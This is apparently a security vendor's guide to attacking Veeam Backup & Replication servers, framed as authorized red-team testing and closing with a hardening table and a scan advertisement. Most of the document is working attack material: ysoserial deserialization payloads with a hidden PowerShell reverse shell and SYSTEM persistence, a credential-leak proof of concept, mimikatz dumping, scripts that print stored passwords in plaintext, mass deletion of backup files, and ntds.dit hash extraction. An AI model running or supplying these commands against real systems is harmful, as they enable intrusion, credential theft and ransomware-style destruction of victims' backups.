Veeam Backup & Replication is the dominant enterprise backup platform, protecting the majority of Fortune 500 companies' data. That dominance makes it a tier-1 ransomware target: a compromised VBR server gives attackers access to every backup job credential, every protected system's connection details, and the ability to delete or encrypt the one thing standing between the victim and total data loss. CVE-2024-40711 (CVSS 9.8) provides unauthenticated RCE on unpatched instances. CVE-2023-27532 leaks encrypted credentials to any network-accessible attacker. This guide covers authorized Veeam security testing for red teams validating backup infrastructure posture.
Veeam Backup & Replication (VBR) is a Windows-based platform with multiple network-accessible services. The backup server holds authenticated connections to every protected system in the environment — VMware vCenter, Hyper-V, physical servers, NAS devices, cloud repositories, and offsite targets. It also stores credentials for tape libraries, object storage buckets, and enterprise applications including Active Directory, Exchange, and SQL Server.
| Service | Default Port | Primary Attack Vector |
|---|---|---|
| Veeam Backup Service | 9392 (TCP) | CVE-2024-40711 unauthenticated RCE; API abuse |
| Veeam Enterprise Manager | 9394, 9443 (HTTPS) | Web UI credential brute force; session hijacking |
| Veeam Cloud Connect | 6180 (TCP) | Tenant credential exposure; repository access |
| PostgreSQL (embedded) | 5432 (TCP, localhost by default) | Direct DB access via local exploit or misconfig |
| Veeam Backup REST API | 9419 (HTTPS) | Token abuse; credential enumeration |
| Mount Server | 2500-3300 (TCP) | Direct backup data access; credential files in mounts |
| CVE-2023-27532 endpoint | 9401 (TCP) | Unauthenticated encrypted credential extraction |
CVE-2024-40711 is a critical (CVSS 9.8) deserialization vulnerability in Veeam Backup & Replication versions 12.x before 12.2 (build 12.2.0.334). The vulnerability exists in the .NET Remoting endpoint exposed by the Veeam Backup Service on TCP port 9392. An unauthenticated attacker who can reach this port can send a crafted serialized .NET object to trigger arbitrary code execution as LOCAL SYSTEM — the highest privilege level on Windows.
# Step 1: Discover Veeam servers
nmap -sV -p 9392,9394,9401,9419,9443 TARGET_RANGE
# Step 2: Version check via REST API (no auth required for version endpoint)
curl -sk "https://VEEAM_HOST:9419/api/v1/serverInfo" | python3 -m json.tool
# Returns: {"versionInfo": {"productVersion": "12.1.0.2131", ...}}
# Vulnerable: < 12.2.0.334
# Step 3: Check if .NET Remoting port is reachable
python3 -c "
import socket
s = socket.socket()
s.settimeout(5)
try:
s.connect(('VEEAM_HOST', 9392))
# .NET Remoting endpoints respond with a specific preamble
s.send(b'.NET Remoting\r\n')
data = s.recv(256)
print('Port 9392 open:', repr(data[:40]))
except Exception as e:
print('Error:', e)
finally:
s.close()
"
# Step 4: Windows registry version check (post-access)
reg query "HKLM\SOFTWARE\Veeam\Veeam Backup and Replication" /v ProductVersion
# CVE-2024-40711 uses .NET deserialization via ysoserial.net
# Prerequisites: Windows attack host, ysoserial.net, access to port 9392
# Step 1: Generate malicious .NET deserialization payload
# Using TypeConfuseDelegate gadget chain (works against .NET Framework targets)
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c whoami > C:\Windows\Temp\pwned.txt" \
-o base64 > payload.b64
# Step 2: Send payload to Veeam .NET Remoting endpoint
# The endpoint deserializes the object without authentication
# (Proof-of-concept tooling available post-disclosure)
# Step 3: Verify code execution
# Check for output file or use DNS/HTTP callback
# Veeam service runs as LOCAL SYSTEM — highest privilege
# Step 4: Full reverse shell
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "powershell -nop -w hidden -e BASE64_ENCODED_POWERSHELL" \
-o base64
# Alternative: Drop a scheduled task for persistence
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "schtasks /create /tn VeeamUpdate /tr C:\Windows\Temp\shell.exe /sc onlogon /ru SYSTEM" \
-o base64
# Once RCE achieved as SYSTEM on Veeam server:
# Step 1: Dump Windows credential store (Veeam uses DPAPI for some credentials)
# Run as SYSTEM — no elevation needed
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Step 2: Extract Veeam-specific credentials from Windows Credential Manager
cmdkey /list
# Look for: TERMSRV/, MicrosoftOffice*, veeam*
# Step 3: Access Veeam configuration database directly
# (PostgreSQL runs as local service, accessible from SYSTEM)
# Default connection: localhost:5432, database: VeeamBackup
# Credentials stored in registry
reg query "HKLM\SOFTWARE\Veeam\Veeam Backup and Replication" /v SqlDatabasePassword
reg query "HKLM\SOFTWARE\Veeam\Veeam Backup and Replication" /v SqlDatabaseName
# Step 4: Use Veeam's own PowerShell module for credential extraction
powershell -c "
Add-PSSnapin VeeamPSSnapIn -ErrorAction SilentlyContinue
Import-Module 'C:\Program Files\Veeam\Backup and Replication\Console\VeeamPSSnapin.dll'
Connect-VBRServer -Server localhost
Get-VBRCredentials | Select-Object Name, UserName, Description
"
CVE-2023-27532 (CVSS 7.5) is an information disclosure vulnerability in Veeam Backup & Replication versions before 12.0.0.1420 (P20230223) and 11.0.1.1261 (P20230227). The Veeam Backup Service exposes a .NET Remoting endpoint on TCP port 9401 that returns encrypted credential records to any unauthenticated client. The encryption keys are stored on the Veeam server itself, so an attacker with local access (or who has exploited CVE-2024-40711) can decrypt the credentials. Even without decryption keys, the encrypted blobs can sometimes be cracked offline.
# CVE-2023-27532: Unauthenticated call to GetCredentials endpoint on port 9401
python3 << 'EOF'
import socket
import struct
VEEAM_HOST = "VEEAM_HOST"
PORT = 9401
# .NET Remoting request to trigger credential enumeration
# The endpoint exposes IBackupServiceRemoting.GetCredentials()
# This is a simplified PoC — full exploit tooling available
def build_remoting_request():
# .NET binary remoting header
# 0x00 = VBREM protocol version, 0x01 = GetCredentials method
header = bytes([
0x2E, 0x4E, 0x45, 0x54, # Magic: ".NET"
0x00, 0x01, # Version
0x00, 0x00, 0x00, 0x00 # Padding
])
return header
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
try:
s.connect((VEEAM_HOST, PORT))
print(f"[+] Connected to {VEEAM_HOST}:{PORT}")
s.send(build_remoting_request())
response = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
print(f"[+] Received {len(response)} bytes")
# Response contains serialized credential objects
# Parse with .NET BinaryFormatter deserialization tooling
with open("veeam_creds_raw.bin", "wb") as f:
f.write(response)
print("[+] Saved to veeam_creds_raw.bin — decrypt with Veeam key extractor")
except Exception as e:
print(f"[-] Error: {e}")
finally:
s.close()
EOF
# Parse extracted credential blobs
# Requires access to VBR server's encryption key (DPAPI-protected)
# Key location: HKLM\SOFTWARE\Veeam\Veeam Backup and Replication\SqlDatabasePassword
# Or via Veeam.Backup.Service.exe process memory
# On the Veeam server itself (post-RCE as SYSTEM):
# Method 1: Use Veeam PowerShell to directly retrieve plaintext credentials
powershell -c "
Add-PSSnapin VeeamPSSnapIn -ErrorAction SilentlyContinue
Connect-VBRServer -Server localhost
\$creds = Get-VBRCredentials
foreach (\$c in \$creds) {
\$password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto(
[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(\$c.GetPassword()))
Write-Output \"Name: \$(\$c.Name)\"
Write-Output \"User: \$(\$c.UserName)\"
Write-Output \"Pass: \$password\"
Write-Output '---'
}
"
# Method 2: Direct database query (credentials stored in Credentials table)
# Veeam uses AES-256 encryption with key stored in Windows DPAPI blob
# With SYSTEM access, DPAPI key is accessible
# psql -h localhost -U postgres -d VeeamBackup
# SELECT username, password, description FROM [Credentials] -- SQL Server syntax
# Method 3: Extract from registry
# DPAPI master key location
dir C:\Users\NETWORK_SERVICE\AppData\Roaming\Microsoft\Protect\
# Use mimikatz dpapi module to decrypt
mimikatz.exe "dpapi::masterkey /in:C:\Users\NETWORK_SERVICE\AppData\Roaming\Microsoft\Protect\S-1-5-20\KEYFILE" "exit"
Modern Veeam versions use an embedded PostgreSQL database (migrated from SQL Server in v12). The database stores all backup job configurations, credential references, repository definitions, and job history. With local access to the Veeam server, this database is directly queryable as the SYSTEM or NETWORK SERVICE account that runs the VBR service.
# Veeam v12+ uses embedded PostgreSQL
# Default credentials stored in Veeam registry key
# Step 1: Get database connection info from registry
reg query "HKLM\SOFTWARE\Veeam\Veeam Backup and Replication" /s | findstr /i "sql database"
# Key values: SqlDatabaseName, SqlDatabasePassword, SqlServerName, SqlInstanceName
# Step 2: Connect to PostgreSQL
# Default: localhost:5432, database: VeeamBackup
# The service account (SYSTEM or Network Service) has direct access
# No password needed when connecting as the Veeam service account
# Using psql (bundled with Veeam or standalone)
"C:\Program Files\Common Files\Veeam\Backup and Replication\Database\PostgreSQL\bin\psql.exe" `
-h localhost -p 5432 -U postgres -d VeeamBackup
# Or via PowerShell ODBC
$conn = New-Object System.Data.Odbc.OdbcConnection
$conn.ConnectionString = "Driver={PostgreSQL Unicode};Server=localhost;Port=5432;Database=VeeamBackup;Uid=postgres;Pwd=PASSWORD;"
$conn.Open()
# List all stored credentials (encrypted, but decryptable on-host)
SELECT id, description, user_name, password, usn FROM [Credentials]
ORDER BY description;
-- List backup repositories and their paths
SELECT name, host_id, path, type, description
FROM [BackupRepository]
ORDER BY name;
-- List all protected VMs and their connection details
SELECT name, host_name, path, type, platform
FROM [Hosts]
ORDER BY type, name;
-- Get cloud credentials (AWS, Azure, GCP)
SELECT name, type, access_key_id, secret_access_key_enc
FROM [CloudCredentials]
ORDER BY type;
-- List backup jobs with their credential references
SELECT j.name, j.schedule_enabled, c.user_name, c.description
FROM [BackupJobs] j
LEFT JOIN [Credentials] c ON j.credentials_id = c.id
ORDER BY j.name;
-- Find tape library and deduplication appliance connections
SELECT name, type, host, port, credentials_id
FROM [StorageHosts]
ORDER BY type;
-- Recent job sessions (shows what ran and where)
SELECT j.name, s.creation_time, s.end_time, s.result, s.message
FROM [JobSessions] s
JOIN [BackupJobs] j ON s.job_id = j.id
ORDER BY s.creation_time DESC LIMIT 50;
# Veeam configuration files — additional credential sources
# Main config directory
dir "C:\ProgramData\Veeam\Backup\"
dir "C:\Program Files\Veeam\Backup and Replication\Backup\"
# veeam_config.xml — global configuration (may contain SMTP, proxy credentials)
type "C:\ProgramData\Veeam\Backup\veeam_config.xml"
# Log files — may capture credential-related events
findstr /i "password credential user" "C:\ProgramData\Veeam\Backup\Svc.VeeamBackup.log"
# Tape catalog directory
dir "C:\ProgramData\Veeam\Backup\TapeRobots\"
# Cloud provider configuration files
dir "C:\Users\SYSTEM\AppData\Local\Veeam\"
type "C:\Users\SYSTEM\AppData\Local\Veeam\cloud_credentials.xml" 2>nul
# Extract credentials from Veeam Backup Service config
# The service stores connection strings here
type "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config"
# Look for connectionString entries
Veeam's most valuable assets from an attacker's perspective are the service account credentials used for backup jobs. These accounts typically have domain admin-equivalent privileges on the systems they protect — they need read access to every VM, every filesystem, and every database being backed up. In many environments, the Veeam service account is a domain admin or has equivalent delegation.
# Veeam REST API v1 — requires authentication (basic or token)
# Default credentials: administrator / (Windows admin password)
VEEAM_URL="https://VEEAM_HOST:9419"
# Step 1: Authenticate and get token
TOKEN=$(curl -sk -X POST "$VEEAM_URL/api/oauth2/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=administrator&password=ADMIN_PASS" | \
python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Token: $TOKEN"
# Step 2: Enumerate all backup infrastructure
# List managed servers (all protected hosts)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$VEEAM_URL/api/v1/backupInfrastructure/managedServers" | python3 -m json.tool
# Step 3: List all credentials stored in VBR
curl -sk -H "Authorization: Bearer $TOKEN" \
"$VEEAM_URL/api/v1/credentials" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for c in data.get('data', []):
print(f\"ID: {c.get('id')} | Name: {c.get('name')} | User: {c.get('username')} | Desc: {c.get('description')}\")
"
# Step 4: List backup repositories (shows storage paths and credentials)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$VEEAM_URL/api/v1/backupInfrastructure/repositories" | python3 -m json.tool
# Step 5: List all backup jobs (shows what's protected and with what credentials)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$VEEAM_URL/api/v1/jobs" | python3 -m json.tool
# Veeam stores vCenter/vSphere credentials for VM backup
# These credentials typically have read access to ALL VMs + snapshots
# Via PowerShell (on Veeam server)
powershell -c "
Add-PSSnapin VeeamPSSnapIn
Connect-VBRServer -Server localhost
# Get all VMware vSphere connections
\$servers = Get-VBRServer -Type ESX
foreach (\$s in \$servers) {
\$cred = \$s.GetCredentials()
Write-Output \"Host: \$(\$s.Name) | User: \$(\$cred.UserName) | Type: \$(\$s.Type)\"
}
# Get vCenter connections explicitly
Get-VBRServer | Where-Object { \$_.Type -eq 'VC' } | ForEach-Object {
\$c = \$_.GetCredentials()
\$p = [Runtime.InteropServices.Marshal]::PtrToStringAuto(
[Runtime.InteropServices.Marshal]::SecureStringToBSTR(\$c.GetPassword()))
Write-Output \"vCenter: \$(\$_.Name) | User: \$(\$c.UserName) | Pass: \$p\"
}
"
Ransomware groups including BlackBasta, Akira, Cuba, and Medusa have published playbooks — knowingly or not — that reveal how they systematically attack Veeam infrastructure. Understanding these TTPs is essential for defenders and for red teams simulating realistic threat scenarios.
# Attacker perspective: enumerate Veeam from inside the network
# After initial access via phishing/VPN/initial foothold
# Discover Veeam servers via SMB scanning
nmap -p 9392,9394,9401,9419,9443 10.0.0.0/8 --open -oG veeam_discovery.txt
grep "open" veeam_discovery.txt | awk '{print $2}'
# AD query: find Veeam service accounts (common naming patterns)
Get-ADUser -Filter {Name -like "*veeam*" -or Name -like "*backup*"} -Properties *
# Query DNS for backup server hostnames
nslookup -type=SRV _veeam._tcp.domain.local
# Common naming: backup01, veeam01, vbr-prod, veeam-server
# Check for exposed Veeam web console
curl -ks "https://VEEAM_HOST:9443/login" -D -
# Exposed Enterprise Manager = direct credential brute force path
# Ransomware operators delete/encrypt backups BEFORE deploying ransomware
# This is the most impactful action — eliminates victim's recovery path
# Step 1: Delete all backup jobs via PowerShell (as compromised admin)
powershell -c "
Add-PSSnapin VeeamPSSnapIn
Connect-VBRServer -Server localhost
# List all backup jobs first
Get-VBRJob | Format-Table Name, Type, IsScheduleEnabled
# Disable all scheduled jobs (less noisy than deletion)
Get-VBRJob | Disable-VBRJob
# Or delete backup files from repository directly
Get-VBRBackup | Remove-VBRBackup -FromDisk -Confirm:\$false
"
# Step 2: Delete backup files via filesystem access
# VBR repositories are standard NTFS shares
# With domain admin credentials from credential extraction:
net use \\BACKUP_REPO_SERVER\VeeamBackup PASSWORD /user:DOMAIN\BackupAdmin
del /s /q "\\BACKUP_REPO_SERVER\VeeamBackup\*.vbk" # full backups
del /s /q "\\BACKUP_REPO_SERVER\VeeamBackup\*.vib" # incremental backups
del /s /q "\\BACKUP_REPO_SERVER\VeeamBackup\*.vrb" # reverse incremental
# Step 3: Attack immutable/offsite repositories
# Check for cloud repository targets
powershell -c "
Connect-VBRServer -Server localhost
Get-VBRObjectStorageRepository | Format-Table Name, Type, ServicePoint
# Amazon S3, Azure Blob, GCP GCS repositories listed here
# Use extracted cloud credentials to delete object storage backups
"
# After backup deletion, use extracted credentials for lateral movement
# Veeam credentials typically include domain admin or near-equivalent accounts
# Extracted credential types and their lateral movement value:
# 1. vCenter credentials -> access all ESXi hosts, all VMs, VM snapshots
# 2. Domain admin credentials -> full AD compromise
# 3. SQL Server credentials -> database exfiltration before encryption
# 4. Linux root SSH keys -> target Linux systems in backup scope
# 5. NAS/SMB credentials -> file server access for exfiltration
# Example: Use extracted vCenter creds to access all VMs
python3 << 'EOF'
from pyVmomi import vim
from pyVim.connect import SmartConnect
import ssl
# Credentials extracted from Veeam CVE-2023-27532
VCENTER = "vcenter.corp.local"
USER = "svc_veeam_backup@corp.local"
PASS = "EXTRACTED_PASSWORD"
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
si = SmartConnect(host=VCENTER, user=USER, pwd=PASS, sslContext=context)
content = si.RetrieveContent()
# Enumerate all VMs
container = content.viewManager.CreateContainerView(
content.rootFolder, [vim.VirtualMachine], True)
for vm in container.view:
print(f"VM: {vm.name} | Power: {vm.runtime.powerState} | IP: {vm.guest.ipAddress}")
EOF
A compromised Veeam server provides direct access to the entire protected infrastructure. Beyond credential extraction, the backup server has legitimate network paths to every system it protects — these paths can be abused for scanning, lateral movement, and exfiltration through what appears to be normal backup traffic.
# Post-exploitation: mount backup data for credential extraction
# Method 1: Instant VM Recovery (ESXi required)
powershell -c "
Connect-VBRServer -Server localhost
\$backup = Get-VBRBackup -Name 'DC01 Backup'
\$restore = Start-VBRInstantRecovery -Backup \$backup -VMName 'DC01_FORENSIC' -Server (Get-VBRServer -Name 'ESXI_HOST')
Write-Output \"Instant recovery started: \$(\$restore.Id)\"
# VM starts in isolated mode — can then extract ntds.dit from running DC
"
# Method 2: Mount backup as a disk
powershell -c "
\$rp = (Get-VBRRestorePoint -Name 'DC01*' | Sort-Object CreationTime -Descending | Select-Object -First 1)
\$session = Publish-VBRBackupContent -RestorePoint \$rp
# Session creates an iSCSI or virtual disk mount
# Mount point accessible at \$session.Mounts.MountPoints
\$session.Mounts | ForEach-Object { Write-Output \$_.MountPoints }
"
# Method 3: Extract ntds.dit from mounted DC backup
# After mounting, access the backup volume
# SYSTEM hive for decryption key
reg save HKLM\SYSTEM C:\Temp\SYSTEM_backup.hiv
# Copy ntds.dit from mounted volume
copy E:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
# Extract hashes offline
python3 secretsdump.py -system SYSTEM_backup.hiv -ntds ntds.dit LOCAL
| Control | Action | Priority |
|---|---|---|
| CVE-2024-40711 patch | Upgrade to Veeam VBR 12.2 (build 12.2.0.334) or later immediately | Critical |
| CVE-2023-27532 patch | Upgrade to VBR 12.0.0.1420 (P20230223) or 11.0.1.1261 (P20230227) | Critical |
| Port 9392/9401 firewall | Restrict VBR service ports to dedicated backup admin hosts only — block all other inbound | Critical |
| MFA on VBR console | Enable multi-factor authentication on Enterprise Manager and backup console logins | Critical |
| Immutable repositories | Configure S3 Object Lock, Linux hardened repository, or tape-based immutable backups; verify deletion protection | High |
| Least-privilege credentials | Use dedicated low-privilege backup accounts per protected system; avoid domain admin for backup jobs where possible | High |
| Network segmentation | Place VBR server on a dedicated VLAN; apply strict firewall rules limiting outbound to protected systems only | High |
| Credential rotation | Rotate all VBR-stored credentials after any compromise or staff departure; monitor for use of VBR credentials outside backup operations | High |
| 4-eyes backup deletion | Require approval from a second administrator before any backup deletion or repository removal | High |
| Offsite copy integrity | Maintain a verified copy in a separate security domain (air-gapped or separate cloud account) with independent access controls | High |
| API rate limiting | Enable REST API rate limiting and alerting on bulk credential enumeration attempts | Medium |
| Audit logging | Forward Veeam audit logs to SIEM; alert on credential export, backup deletion, and admin account changes | Medium |
Ironimo continuously scans for exposed Veeam ports, unpatched CVEs, default credentials, and misconfigured backup repositories — the vulnerabilities ransomware operators target before they detonate.
Start free scan